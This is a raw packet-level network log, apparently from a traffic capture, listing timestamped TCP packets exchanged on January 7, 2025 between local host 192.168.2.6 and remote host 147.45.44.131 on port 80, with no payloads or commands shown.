Jan 7, 2025 06:12:06.614487886 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614511967 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614527941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614541054 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614551067 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614568949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614569902 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614581108 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614593029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614602089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614603043 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614613056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614624977 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614644051 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614650965 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614661932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614671946 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614671946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614697933 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614706039 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614708900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614722013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614728928 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614751101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614758968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614762068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614773989 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614813089 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614836931 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614847898 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614859104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614876032 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614898920 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614923954 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614933968 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614944935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614955902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614967108 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614974976 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614978075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614988089 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615016937 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615020037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615031004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615047932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615057945 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615068913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615077019 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615080118 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615093946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615103960 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615109921 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615142107 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615144968 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615156889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615168095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615179062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615202904 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615228891 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615267038 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615278006 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615288019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615303993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615309954 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615325928 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615329027 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615334034 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615343094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615355015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615365028 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615375042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615386963 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615386963 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615411997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615431070 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615456104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615467072 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615495920 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615570068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615581036 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615592957 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615603924 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615612030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615616083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615618944 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615642071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615652084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615659952 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615663052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615674973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615686893 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615724087 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615744114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615755081 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615766048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615777016 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615787983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615789890 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615818977 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615895033 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615906000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615917921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615926027 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615927935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615941048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615957022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.615961075 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.615969896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616002083 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616008997 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616019011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616029978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616040945 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616050959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616061926 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616069078 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616076946 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616115093 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616127014 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616137028 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616147995 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616154909 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616159916 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616173029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616177082 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616199970 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616235971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616252899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616264105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616271019 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616276026 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616286993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616292953 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616297007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616316080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616321087 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616328955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616338968 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616355896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616359949 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616368055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616378069 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616379976 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616393089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.616398096 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616421938 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.616455078 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.624785900 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.667864084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.667881012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.667891979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.667901993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.667918921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.667924881 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.667931080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.667943954 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.667963982 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.667987108 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706530094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706573009 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706583023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706597090 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706600904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706617117 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706628084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706634045 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706640005 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706653118 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706660986 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706664085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706684113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706686974 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706702948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706703901 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706715107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706731081 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706742048 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706744909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706763983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706764936 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706777096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706789017 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706798077 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706801891 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706813097 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706820965 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706847906 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706851006 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706862926 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706890106 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706896067 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706906080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706917048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706927061 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706947088 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706969023 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.706971884 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.706984043 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707004070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707014084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707021952 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707026005 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707048893 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707056999 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707067966 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707078934 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707089901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707103014 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707124949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707127094 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707135916 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707158089 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707211971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707223892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707233906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707246065 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707252026 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707263947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707272053 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707274914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707292080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707298994 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707321882 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707328081 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707344055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707355022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707379103 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707452059 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707473040 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707484007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707493067 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707493067 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707506895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707511902 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707520008 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707540989 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707556009 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707571983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707585096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707592010 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707595110 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707612991 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707617044 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707623005 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707633972 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707643986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707649946 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707658052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707669020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707669973 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707681894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707693100 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707729101 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707751036 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707762003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707773924 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707784891 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707796097 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707808971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707818985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707820892 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707833052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707840919 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707844973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707870007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707880020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707889080 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707911968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707921982 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707932949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707957983 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.707966089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.707977057 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708003044 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708014011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708024025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708024025 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708031893 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708061934 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708146095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708157063 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708173990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708184004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708189964 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708194971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708204985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708214045 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708223104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708230972 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708239079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708250999 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708261013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708271980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708275080 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708290100 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708388090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708400011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708411932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708420992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708422899 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708432913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708442926 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708450079 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708453894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708473921 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708491087 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708493948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708506107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708515882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708527088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708534002 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708538055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708547115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708566904 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708583117 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708594084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708604097 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708615065 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708632946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708636999 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708645105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708662033 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708662033 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708673000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708683968 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.708694935 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.708717108 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.760183096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.760205984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.760221004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.760236025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.760247946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.760255098 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.760257959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.760270119 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.760278940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.760281086 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.760328054 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.798861980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.798882008 CET	80	49712	147.45.44.131	192.168.2.6
